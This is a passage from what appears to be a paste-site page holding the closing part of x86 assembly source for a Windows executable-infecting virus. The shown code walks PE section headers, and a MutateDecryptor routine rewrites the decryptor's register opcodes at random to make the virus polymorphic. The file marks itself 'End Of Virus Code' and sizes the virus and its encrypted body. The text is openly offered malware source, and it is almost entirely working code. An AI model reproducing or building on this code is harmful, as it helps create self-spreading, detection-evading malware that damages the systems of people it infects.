- add ecx, [dwIOH] ;Address of First Section Header
- movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
- dec eax ;Number of Sections - 1
- imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers
- ;mov ebx, SIZE IMAGE_SECTION_HEADER
- ;mul ebx ;Size of All Section Headers
- add ecx, eax ;Address of Last Section Header
- ;Return Header Values
- mov eax, esi ;Image File Header
- mov ebx, [dwIOH]
- mov edx, [dwIED]
- jmp End_GetFileHeaders
- Error_GetFileHeaders:
- xor eax, eax ;Error, Return 0
- End_GetFileHeaders:
- ret
- GetFileHeaders ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | MutateDecryptor | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function modifies the registers used in the decryptor, to make it
- ; polymorphic. The decrypor uses two registers; one as an index, and the
- ; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are
- ; used as random registers. The opcodes are generated in the following way.
- ; First the opcode is calculated using register EAX; e.g. the opcode for
- ; POP EAX is 58h. To generate the opcodes for the other registers, we add
- ; the number of the register. The number for EDX is 2. Adding this to 58h,
- ; we get 5Ah, which is the opcode for POP EDX
- ;
- ; Arguments
- ; -> EDI: Start of decrypor that need to be mutated
- ;
- ; Return Value:
- ; -> None
- ;
- ; Registers Destroyed
- ; -> AX, BL
- ;___________________
- MutateDecryptor PROC
- ;Get Two Random Registers
- call RandomRegister ;Get First Register Number
- mov ah, al ;Save It
- GetAnotherRegister:
- call RandomRegister ;Get Second Register Number
- cmp ah, al ;Is it the same as First
- je GetAnotherRegister ;Yes, get another one
- ;Modify Decryptor, so that it uses the new registers
- mov bl, 58h ;Change "pop <register1>"
- add bl, al ;Register 1
- mov byte ptr [edi + 5], bl
- mov bl, 0C0h ;Change "add <register1>, ..."
- add bl, al ;Register 1
- mov byte ptr [edi + 7], bl
- mov bl, 0B8h ;Change "mov <register2>, ..."
- add bl, ah ;Register 2
- mov byte ptr [edi + 9], bl
- mov bl, 30h ;Change "xor byte ptr [<register1>], ..."
- add bl, al ;Register 1
- mov byte ptr [edi + 15], bl
- mov bl, 40h ;Change "inc <register1>"
- add bl, al ;Register 1
- mov byte ptr [edi + 17], bl
- mov bl, 48h ;Change "dec <register2>"
- add bl, ah ;Register 2
- mov byte ptr [edi + 18], bl
- ret
- MutateDecryptor ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | RandomRegister | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of
- ; these values is used to identify a register.
- ; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7
- ;
- ; Arguments
- ; -> None.
- ;
- ; Return Value:
- ; -> AL: Random number (0, 1, 2, 3, 6 or 7)
- ;
- ; Registers Destroyed
- ; -> AL
- ;__________________
- RandomRegister PROC
- NewRandom:
- in al, 40h ;Get Random Number
- and al,00000111b ;Maximum value 7
- cmp al, 4 ;Should not be 4...
- je NewRandom
- cmp al, 5 ;...or 5
- je NewRandom
- ret
- RandomRegister ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | End Of Virus Code | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- VIRUS_SIZE EQU $ - offset StartOfVirusCode
- ENCRYPTED_SIZE EQU $ - offset EncryptedVirusCode
- LOADER_SIZE EQU VIRUS_SIZE - ENCRYPTED_SIZE
- VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1
- END StartOfVirusCode
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement